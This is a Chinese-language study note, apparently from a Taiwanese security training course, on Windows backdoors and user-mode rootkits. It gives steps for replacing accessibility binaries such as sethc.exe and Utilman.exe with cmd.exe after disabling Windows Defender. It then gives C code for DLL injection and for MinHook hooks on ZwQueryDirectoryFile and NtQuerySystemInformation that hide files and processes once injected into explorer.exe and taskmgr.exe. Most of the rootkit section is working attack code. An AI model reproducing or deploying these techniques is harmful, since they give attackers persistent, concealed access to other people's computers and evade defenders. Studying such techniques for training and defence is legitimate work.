台灣好厲駭筆記 1st - Windows 後門
===
[TOC]
###### tags: `zeze`
# Windows 後門
* 測試環境: Windows10
## Shift 五下 (成功)
### 簡介
Windows 內建功能,按五下 shift 會出現 enable Sticker key 的視窗,用來啟用sticker key 功能
### 實作
1. 把 Windows Defender 的 Real-time protection 關掉,因為裡面的 Win32/AccessibilityEscalation 預設會擋
2. [改掉 Registry](https://zhuanlan.zhihu.com/p/98526538): 讓開啟 sethc.exe 這個動作實際上變成開啟 cmd.exe
* [別人寫的腳本](https://github.com/szymon1118/logon_backdoor)
## Narrator (成功一半)
### 簡介
Windows 內建功能,會把你瀏覽的資訊唸出來
### 實作
1. 把 Narrator 功能開啟,並且設定快捷鍵
2. 兩種方法
* [改掉 Provide Narrator Feedback 的 Registry](https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/): 不改掉整個 Narrator.exe,而是改掉其中的 Provide Narrator Feedback 功能,不過這招**沒成功**,無法在登錄介面使用
* 直接把 Narrator.exe 調包: 把 cmd.exe 改名成 Narrator.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改
## Magnify (成功)
### 簡介
Windows 內建功能,可以將螢幕某區塊放大,方便查看
### 實作
1. 把 cmd.exe 改名成 Magnify.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改
* 缺點: 登出、登入都會觸發這個 Magnify.exe,所以很容易被發現
## On-Screen Keyboard (成功)
### 簡介
Windows 內建功能,可以叫出可以用滑鼠點擊的鍵盤
### 實作
1. 把 osk.exe 改名成 Magnify.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改
## Ease of Access (成功)
### 簡介
Windows 內建功能,可以叫出 Ease of Access 的選欄
### 實作
1. 把 cmd.exe 改名成 Utilman.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改
## High Contrast (成功)
### 簡介
Windows 內建功能,把所有東西反白
### 實作
1. 把 cmd.exe 改名成 Sethc.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改
## Filter key (沒找到資料)
# Rootkit
## 簡介
入侵後維持權限的方法,分為 Kernel-mode 和 User-mode
## Kernel-mode Rootkit
### 簡介
在 Ring0(Kernel mode) 中執行的,利用 driver 並透過 SSDT(System Service Dispatch Table) hooking 讓惡意程式執行。在 32-bit 環境,可以透過修改 ZwTerminateProcess, ZwOpenProcess, ZwSuspendProcess, ZwAllocateVirtualMemory 的 SSDT 阻止 process 被修改;64-bit 環境中因為有 PatchGuard,所以透過 ObCallback 來實現相同效果。
## User-mode Rootkit
### 簡介
在 Ring3(User mode) 中執行的,利用 DLL injection 將惡意程式注入現有的 Process。可以透過 IAT hooking 來阻止 process 被修改。權限比 Kernel mode 低,只能對針對的 process 有效果。
### 實作流程
1. DLL injection 將 dll 植入 explorer.exe
2. hook 住 NtQueryFunction
3. 隱藏檔案
### DLL injection
有參考[上星期的報告](https://hackmd.io/@bKM7OuRBQqmXcFRuw92pRQ/rkSRnDRPw) 並採用最普遍的注入方法,另一個參考資料是網路上找到的[WindowsXP 馬莉歐外掛](https://kknews.cc/zh-tw/code/gvjp83m.html)
1. 先找到目標 Process,有兩種方法
a. 可以用 FindWindow, GetWindowThreadProcessId 搜尋視窗的 Title 找到對應的 Process
```::C
void getwindow() {
hwnd = ::FindWindow(NULL, "<WINDOW TITLE>");
if (hwnd == NULL)
MessageBox(NULL, "not found", "wrong", MB_OK);
// 根據 handle 取出對應的 process id
GetWindowThreadProcessId(hwnd, &processid);
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid);
if (hprocess == NULL)
MessageBox(NULL, "open failed", "wrong", MB_OK);
}
```
b. 使用 CreateToolhelp32Snapshot, Process32First, Process32Next 迴圈尋找執行的 exe 名稱
```::C
SIZE_T GetProcessIdByName(LPCTSTR pszExeFile){
SIZE_T nProcessID = 0;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
// CreateToolhelp32Snapshot 對特定的 process 取 snapshot,TH32CS_SNAPALL 代表所有 process
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (hSnapshot != INVALID_HANDLE_VALUE){
// Process32First 對 snapshot 取第一個 process,如果沒 process 可取就 return ERROR_NO_MORE_FILES
if (Process32First(hSnapshot, &pe)){
// Process32Next 從 snapshot 取出下個 process
while (Process32Next(hSnapshot, &pe)){
if (lstrcmpi(pszExeFile, pe.szExeFile) == 0){
nProcessID = pe.th32ProcessID;
break;
}
}
}
CloseHandle(hSnapshot);
}
return nProcessID;
}
```
2. DLL injection 到目標 Process,用最樸實無華的 VirtualAllocEx, WriteProcessMemory, GetProcAddress, CreateRemoteThread
```::C
void inject(HANDLE hprocess) {
char dllname[70] = "injected.dll";
char loadfunc[25] = "LoadLibraryA";
int size = strlen(dllname) + 5;
// VirtualAllocEx 讓系統分配一塊 memory 在 process 中,return 被分配到的空間
PVOID procdlladdr = ::VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
if (procdlladdr == NULL)
MessageBox(NULL, "allocation failed", "wrong", MB_OK);
SIZE_T writenum;
// WriteProcessMemory 將 buffer 寫入 process
WriteProcessMemory(hprocess, procdlladdr, dllname, size, &writenum);
// GetProcAddress 從 dll 取出 function 或 variable 的 address
FARPROC loadfuncaddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), loadfunc);
// CreateRemoteThread 開啟一個 thread 來跑一個 function,概念是利用 LoadLibraryA 來把我們的 dll 當作參數丟進去執行
HANDLE hthread = ::CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadfuncaddr, (LPVOID)procdlladdr, 0, NULL);
WaitForSingleObject(hthread, INFINITE);
CloseHandle(hthread);
CloseHandle(hprocess);
}
```
### hook
[MinHook 參考資料](https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra)
使用 MinHook 中的 MH_Initialize, MH_CreateHook, MH_EnableHook, MH_DisableHook, MH_Uninitialize,範例是 hook MessageBoxW
```::C
int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
// something after hooking
}
BOOL hook() {
if (MH_Initialize() != MH_OK) {
return 1;
}
// hook MessageBoxW,替換成 DetourMessageBoxW,最後要放原本的 MessageBoxW
if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW, reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK) {
return 1;
}
if (MH_EnableHook(&MessageBoxW) != MH_OK){
return 1;
}
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
if (MH_DisableHook(&NtQueryInformationFile) != MH_OK) {
return 1;
}
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
if (MH_Uninitialize() != MH_OK) {
return 1;
}
return 0;
}
```
### 隱藏檔案和 Process
* [參考資料](https://github.com/XShar/simple_rootkit_for_windows_fork_r77)
1. hook 住 NTQueryDirectoryFile 和 NtQuerySystemInformation
```::C
bool WINAPI DllMain(){
MH_CreateHookApi(L"ntdll.dll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, (PVOID*)&OriginalNtQuerySystemInformation);
MH_CreateHookApi(L"ntdll.dll", "ZwQueryDirectoryFile", HookedZwQueryDirectoryFile, (PVOID*)&OriginalZwQueryDirectoryFile);
MH_EnableHook(MH_ALL_HOOKS);
```
2. 在調包的 NTQueryDirectoryFile 去略過目標檔案
* [_FILE_DIRECTORY_INFORMATION 的資料結構](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_file_directory_information)
* [ZwQueryDirectoryFile 的原始用法](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-zwquerydirectoryfile)
```::C
NTSTATUS Rootkit::HookedZwQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, PVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, PVOID fileInformation, ULONG length, FileInformationClassEx fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan){
NTSTATUS status = OriginalZwQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan);
// 確認原始的 ZwQueryDirectoryFile 成功呼叫和確認 fileInformationClass 是定義好的其中一種
if (NT_SUCCESS(status) && (fileInformationClass == FileInformationClassEx::FileDirectoryInformation || fileInformationClass == FileInformationClassEx::FileFullDirectoryInformation || fileInformationClass == FileInformationClassEx::FileIdFullDirectoryInformation || fileInformationClass == FileInformationClassEx::FileBothDirectoryInformation || fileInformationClass == FileInformationClassEx::FileIdBothDirectoryInformation || fileInformationClass == FileInformationClassEx::FileNamesInformation)){
PVOID pCurrent = fileInformation;
PVOID pPrevious = NULL;
do{
// 檢查是不是要過濾的檔名
if (wstring(GetFileDirEntryFileName(pCurrent, fileInformationClass)).find(ROOTKIT_PREFIX) == 0){
// 確認有沒有下個檔案
if (GetFileNextEntryOffset(pCurrent, fileInformationClass) != 0){
// 把 address 去頭去尾,留下下一個 entry 的 buffer 長度
int delta = (ULONG)pCurrent - (ULONG)fileInformation;
int bytes = (DWORD)length - delta - GetFileNextEntryOffset(pCurrent, fileInformationClass);
RtlCopyMemory((PVOID)pCurrent, (PVOID)((char*)pCurrent + GetFileNextEntryOffset(pCurrent, fileInformationClass)), (DWORD)bytes);
continue;
}
// 沒下個檔案的話就設 0 準備離開迴圈了
else{
if (pCurrent == fileInformation)status = 0;
else SetFileNextEntryOffset(pPrevious, fileInformationClass, 0);
break;
}
}
pPrevious = pCurrent;
pCurrent = (BYTE*)pCurrent + GetFileNextEntryOffset(pCurrent, fileInformationClass);
} while (GetFileNextEntryOffset(pPrevious, fileInformationClass) != 0);
}
return status;
}
```
3. 在調包的 NtQuerySystemInformation 略過目標 process
* [systemInformationClass 的資料結構](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/process.htm)
* [NtQuerySystemInformation 的原始用法](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation)
```::C
NTSTATUS WINAPI Rootkit::HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, SystemProcessInformationEx *systemInformation, ULONG systemInformationLength, PULONG returnLength){
// 先把原本的結果抓下來,準備要改
NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, returnLength);
// 確認原始的 NtQuerySystemInformation 成功呼叫和確認 systemInformationClass 是定義的那種
if (NT_SUCCESS(status) && systemInformationClass == SYSTEM_INFORMATION_CLASS::SystemProcessInformation){
SystemProcessInformationEx *pCurrent;
SystemProcessInformationEx *pNext = systemInformation;
do{
pCurrent = pNext;
pNext = (SystemProcessInformationEx*)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
// 確認 pNext 是不是要藏的 process,是的話就直接把 pCurrent 的 NextEntryOffset 加上要藏的 process 的 NextEntryOffset
if (!_wcsnicmp(pNext->ImageName.Buffer, ROOTKIT_PREFIX, min(pNext->ImageName.Length, ROOTKIT_PREFIX_SIZE))){
if (pNext->NextEntryOffset == 0) pCurrent->NextEntryOffset = 0;
else pCurrent->NextEntryOffset += pNext->NextEntryOffset;
pNext = pCurrent;
}
}
while (pCurrent->NextEntryOffset);
}
return status;
}
```
4. 最後用 DLL injection 將上面的 .dll 注入 explorer.exe 和 taskmgr.exe 就可以讓檔案和 process 消失
## 其他 Reference
[Rootkit 初認識](https://resources.infosecinstitute.com/topic/rootkits-user-mode-kernel-mode-part-1/)
[Kernel-mode vs User-mode](https://malwaretips.com/threads/kernel-user-mode-rootkits.47121/)
[Rootkit 概念與結構](https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108)
[各種 rootkit 資源](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Rootkits.md)
[DLL injection 實作](https://www.programmersought.com/article/5535905437/)
[各種 DLL injection 方法](https://github.com/fdiskyou/injectAllTheThings)
[更多 rootkit 用法](https://github.com/vmcall/latebros)
[process hacker](https://github.com/processhacker/processhacker/tree/master/ProcessHacker/include)
[rootkit repo 列表](https://github.com/d30sa1/RootKits-List-Download)